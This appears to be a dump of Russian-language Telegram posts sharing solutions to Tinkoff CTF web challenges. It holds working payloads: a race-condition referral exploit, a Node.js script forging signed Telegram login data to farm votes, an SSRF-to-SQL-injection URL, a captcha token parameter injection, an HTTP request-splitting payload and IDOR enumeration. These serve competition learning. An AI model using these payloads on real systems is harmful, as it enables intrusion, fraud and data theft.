Forwarded from Sergio
Галера
Открыть приложение в программе Hopper и увидеть там стоковые константы. По ним восстановим API сервера:
Чтобы получить баллы для покупки Свободы, нужно зареферралить много пользователей. Обходим ограничение на количество реферальных кодов и регистраций по одному коду с помощью состояния гонки (отправляем много запросов одновременно). Если не получилось, регистрируем нового пользователя (без реферального кода) и повторяем попытку.
Покупаем Свободу:
Открыть приложение в программе Hopper и увидеть там стоковые константы. По ним восстановим API сервера:
GET https://t-galera-u12p5koe.spbctf.net/items список товаров в магазине. Там есть «Свобода» за 1337 баллов. Её нужно купить, чтобы получить флаг. Но баллов пока недостаточно.curl -X POST -d '{"username":"admin","password":"admin"}' "https://t-galera-u12p5koe.spbctf.net/enter" производит вход и отдаёт токен авторизации для последующих запросов.curl -X GET -H "Authorization: ТОКЕН" "https://t-galera-u12p5koe.spbctf.net/profile" ваш профиль, там можно посмотреть покупки и количество баллов.curl -X GET -H "Authorization: ТОКЕН" "https://t-galera-u12p5koe.spbctf.net/ref" создаёт реферальный код пользователя. Можно создать один в день.curl -X POST -d '{"username":"foo2","password":"p","ref_code":"GALERA-5aa7f5e9"}' "https://t-galera-u12p5koe.spbctf.net/create" создаёт нового пользователя используя этот реферальный код (реферальный код не обязателен для регистрации). Кодом можно воспользоваться только онир раз. За регистрацию по вашему реферальному коду вам дают 100 баллов.Чтобы получить баллы для покупки Свободы, нужно зареферралить много пользователей. Обходим ограничение на количество реферальных кодов и регистраций по одному коду с помощью состояния гонки (отправляем много запросов одновременно). Если не получилось, регистрируем нового пользователя (без реферального кода) и повторяем попытку.
Покупаем Свободу:
curl -X POST -H "Authorization: ТОКЕН" "https://t-galera-u12p5koe.spbctf.net/buy?id=1337". Делаем снова запрос данных своего профиля и видим там флаг.🔥2👍1👏1
решения задач по tinkoff CTF
Miss Fraud - node,js const axios = require('axios'); const CryptoJS = require('crypto-js'); const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде const contestant_id = 100; // id…
Упрощено для юзания (от автора райтапа):
const axios = require('axios');
const CryptoJS = require('crypto-js');
const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде
// данные initData нужно получить, введя в консоли Telegram.WebApp.initData
const initData = 'query_id=*queryId*&user=%7B%22id%22%3A200905925%2C%22first_name%22%3A%22*firstName*%22%2C%22last_name%22%3A%22*lastName*%22%2C%22username%22%3A%22*userName*%22%2C%22language_code%22%3A%22ru%22%2C%22allows_write_to_pm%22%3Atrue%7D&auth_date=*authDate*&hash=*hash*';
const contestant_id = 100; // id участника голосования достали из запросов
// подготовили initData
const preInitData = Array
.from(new URLSearchParams(initData).entries())
.reduce((res, [key, value]) => {
if (key !== 'hash') {
res[key] = value;
}
return res;
}, {});
// заменяем id юзера в preInitData
const getData = (id) => ({
...preInitData,
user: preInitData.user.replace(/({"id":)\d*,/, `$1${id},`),
});
// цепочка авторизация - голос с репитами на случай ошибки
const request = (data, repeat = 1) => {
return axios
.post(
'https://t-pageant-ekbooq0e.spbctf.net/api/auth',
{ initData: new URLSearchParams(data).toString() }
)
.then((res) => {
return axios
.post(
'https://t-pageant-ekbooq0e.spbctf.net/api/vote',
{ contestant_id },
{
headers: {
'Cookie': res.headers['set-cookie'],
},
}
)
.then(({ data }) => console.log(data)); // выводим промежуточный результат в консоль
})
.catch((err) => {
if (repeat < 5) {
return request(data, repeat++);
}
throw err;
});
};
// фарм голосов: индекс цикла = id пользователя, указываем любой интервал
const handle = () => {
for (let i = 0; i < 1; i++) {
const data = getData(i);
const dataCheckString = Object
.keys(data)
.sort()
.map((key) => `${key}=${data[key]}`)
.join('\n');
const calculatedHash = CryptoJS
.HmacSHA256(dataCheckString, secretKey)
.toString(CryptoJS.enc.Hex);
data.hash = calculatedHash;
request(data);
}
};
handle();👏1
Forwarded from Sergio
Биба и Боба
Судя по коду, флаг лежит в таблице
Уязвимость 1. Обращаем внимание, что используется старая версия Django 4.0.2. Смотрим changelog Django и находим сообщение об исправлении SQL-инъекции в более поздней версии: https://docs.djangoproject.com/en/5.0/releases/4.0.6/. Уязвимый код используется на странице
Уязвимость 2. Страница
Уязвимость 3. Код загрузки аватара по ссылке позволяет отправить GET-запрос на любой адрес, в том числе на 127.0.0.1. Там есть проверка, что адрес заканчивается на расширение картинки, но его можно легко обойти, добавив
Как воспользоваться уязвимостями:
1. Создаём пользователя обычным образом. Для примера его username будет
2. Загружаем ему аватарку по этому URL:
Обратите внимание что в адресе в конце указано имя нашего пользователя.
3. Идём на страницу
Судя по коду, флаг лежит в таблице
core_parameters в строке с name='DEBUG_KEY'.Уязвимость 1. Обращаем внимание, что используется старая версия Django 4.0.2. Смотрим changelog Django и находим сообщение об исправлении SQL-инъекции в более поздней версии: https://docs.djangoproject.com/en/5.0/releases/4.0.6/. Уязвимый код используется на странице
/users/, но она требует авторизации.Уязвимость 2. Страница
/users прикрыта кодом, который пропускает запросы с IP 127.0.0.1, при этом не проверяется, что пользователь залогинен.Уязвимость 3. Код загрузки аватара по ссылке позволяет отправить GET-запрос на любой адрес, в том числе на 127.0.0.1. Там есть проверка, что адрес заканчивается на расширение картинки, но его можно легко обойти, добавив
?.jpg в конце адреса.Как воспользоваться уязвимостями:
1. Создаём пользователя обычным образом. Для примера его username будет
HACKER.2. Загружаем ему аватарку по этому URL:
http://127.0.0.1:8000/users/?joined=year'%20FROM%20date_joined)FROM%20core_user%3BUPDATE%20core_user%20SET%20last_name%3D(SELECT%20value%20FROM%20core_parameter%20WHERE%20name%3D'DEBUG_KEY')%20WHERE%20username%3D'HACKER'--&.jpg
Обратите внимание что в адресе в конце указано имя нашего пользователя.
3. Идём на страницу
/profile и видим там флаг.🔥4
Forwarded from Sergio
ЁКЛМН
Надо автоматизировать открытие мусорок, обойдя каптчу.
В файле
Далее в браузере на странице https://t-aandb-j58o5s3y.spbctf.net/?open=1 перехатываем токен каптчи и не даём ему улететь на сервер (это можно сделать, поставив брейкпоинт в девтулзах). Там же нужно взять куку сессии.
Затем отправляем запрос с «хакнутым» токеном в каждую мусорку, чтобы открыть её:
После этого флаг появится на главной странице.
Надо автоматизировать открытие мусорок, обойдя каптчу.
В файле
check_bin.php видно, что у токена каптчи слабая валидация, и он не экранируется при вставке в запрос на сервер каптчи. Можно использовать это, чтобы добавить в запрос параметр idempotency_key=<constant_UUID>. Этот параметр позволяет сделать так, чтобы сервер каптчи одобрял много запросов на проверку с одинаковым токеном.Далее в браузере на странице https://t-aandb-j58o5s3y.spbctf.net/?open=1 перехатываем токен каптчи и не даём ему улететь на сервер (это можно сделать, поставив брейкпоинт в девтулзах). Там же нужно взять куку сессии.
Затем отправляем запрос с «хакнутым» токеном в каждую мусорку, чтобы открыть её:
for (let binNum = 1; binNum <= 2000; binNum++) {
fetch(host, {
method: 'POST',
headers: {
Cookie: cookies,
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `open=${binNum}&token=${encodeURIComponent(`${captchaResponse}&idempotency_key=550e8400-e29b-41d4-a716-446655440000`)}`,
redirect: 'manual',
})
}
После этого флаг появится на главной странице.
Forwarded from Bulat Gafurov
Имеем: Три микросервсиа общаются между собой по tls, что-то типо сервис меша.
1. Gateway - представляет из себя реверс прокси, также проверяет серты если подключение идет с другого сервиса.
2. User Info - микросервис по управлению информацией о пользователе
3. Shop - можем тут купить тему, сделать клик и купить премиум
Видим, что shop при покупке премиума просто проставляет множитель для юзера.
Попробуем дернуть так же эту ручку с сертом
Так же посмотрим как он делает
Видим, что если будем контролироваь один из
Ищем в коде через что мы можем засплитить запрос, видим что color отправляется как строка в ручку
Также вспоминаем как создается User-Id
то есть нам нужно значение до первой точки.
Важно заметить, что не ставим
Делал все в Burp, так что скриптов нет никаких.
Писал эту строчку на память, так как не сохранил.
1. Gateway - представляет из себя реверс прокси, также проверяет серты если подключение идет с другого сервиса.
2. User Info - микросервис по управлению информацией о пользователе
3. Shop - можем тут купить тему, сделать клик и купить премиум
Видим, что shop при покупке премиума просто проставляет множитель для юзера.
Попробуем дернуть так же эту ручку с сертом
client.crt, но ничего не получим, так как apigateway скорее всего сидит за балансер, сюда по docker-compose.yaml.params = fmt.Sprintf("multiplier=%d", 10)
client.Post("https://apigateway:9443/api/setUserMultiplier?" + params, headers)Так же посмотрим как он делает
Post запросhost := "apigateway:9443"
conn, err := tls.Dial("tcp", host, c.Config)
if err != nil {
return "", []byte{}, err
}
defer conn.Close()
request := fmt.Sprintf("POST %s HTTP/1.1\r\nHost: %s\r\n", urlString, host)
Видим, что если будем контролироваь один из
%s, то сможем засплитить запрос.Ищем в коде через что мы можем засплитить запрос, видим что color отправляется как строка в ручку
/api/buyColor, пробуем в ручку вставить такую строкуТакже вспоминаем как создается User-Id
sessionValue := createAndSignSession(string(userInfoRow.UserID))
c.SetCookie("session", sessionValue, 3600000, "", "", false, false)
func createAndSignSession(userID string) string {
...
return string(payload) + "." + string(hex.EncodeToString(expectedMAC))
}
то есть нам нужно значение до первой точки.
black HTTP/1.1
Host: apigateway:9443
X-From-Service: Yes
X-User-ID: <user-uuid-from-cookie>
POST /api/setUserMultiplier?multiplier=100000 HTTP/1.1
Host: apigateway:9443
X-From-Service: Yes
X-User-ID: <user-uuid-from-cookie>
Важно заметить, что не ставим
Connection: close, как в оригинальном запросе, чтобы соединение не закрылось.Делал все в Burp, так что скриптов нет никаких.
Писал эту строчку на память, так как не сохранил.
Forwarded from R H
#человекжук
По этому заданию количество комбинаций можно сократить до 54264 для подбора.
Смотрим алгоритм шифровани, раз играем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципе base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 54264 варианта, скармливаем архив Джеку рипперу с этим вордлистом, получаем результат за считанные секунды
По этому заданию количество комбинаций можно сократить до 54264 для подбора.
Смотрим алгоритм шифровани, раз играем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципе base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 54264 варианта, скармливаем архив Джеку рипперу с этим вордлистом, получаем результат за считанные секунды
👍5
S
Задача про землекопов лига опытных. Открываем в режиме разработчика бразуер. Смотрим сеть. Видим там запрос, раскрываем его и через курл тыкаем curl -X PUT https://site.ctfapi/cloner/{id} -H "Content-Type: application/json" -d '{"config": {"count": 1000000}}'…
автор прислал более компактное решение
Forwarded from S
curl -X PUT https://t-digduper-scx3wg9q.spbctf.net/api/cloner/62a02f86-9c99-432f-bb8e-0f8915baf840 -H "Content-Type: application/json" -d '{"config": {"count": 199999, "timeout": 30}}'
Forwarded from S
это корректиное решение, там еднственная тонкость что каунт до 200 000 и надо меньше. 200000 - входит в множество
Forwarded from GoldKing
1. Регаешься на сайте
2. Потом заходишь в админ панель с помощью
https://t-bugman-rhioogh9.spbctf.net/docs
3. Там есть GET /bugman-photos-stash-20240328
4. Try it out.
5. Там загружается страница и там сразу флаг
2. Потом заходишь в админ панель с помощью
https://t-bugman-rhioogh9.spbctf.net/docs
3. Там есть GET /bugman-photos-stash-20240328
4. Try it out.
5. Там загружается страница и там сразу флаг
Forwarded from R H
#человекжук
По этому заданию количество комбинаций можно сократить до 16млн для подбора.
Смотрим алгоритм шифровани, разбиваем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципу base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 16 млн варианта, скармливаем архив Джеку рипперу с этим вордлистом.
По этому заданию количество комбинаций можно сократить до 16млн для подбора.
Смотрим алгоритм шифровани, разбиваем на составные части, там видим, что для кодирования в base64 подаётся всегда комбинация из 6 символов, причем строка строится алгоритмом md5, который подразумевает использование только 16 символов (1234567890abcdef). Пишем скрипт, который генерирует wordlist для jack the ripper по принципу base64(123abc) -> MTIzYWJj бежим по этим значениям, получаем 16 млн варианта, скармливаем архив Джеку рипперу с этим вордлистом.
👍1
Forwarded from Айнур Низамов
Кстати по пятнецемобилю. Можно было глянуть кнопку оплаты, она всегда вела на страницу /pay?checkout_id=id, где вместо id какое то число от 1 и далее. Можно было потыкать с разными id и найти ту оплату, где уже кто то решил и получил флаг (на скажет флаг или то, что не хватает средств)
😁9❤5👍2🔥2
T-CTF, походу, решили отменить... :(
Источник:я календарь пересмотрю, а там апрель ведь начался
Источник:
💊19🤣10😁3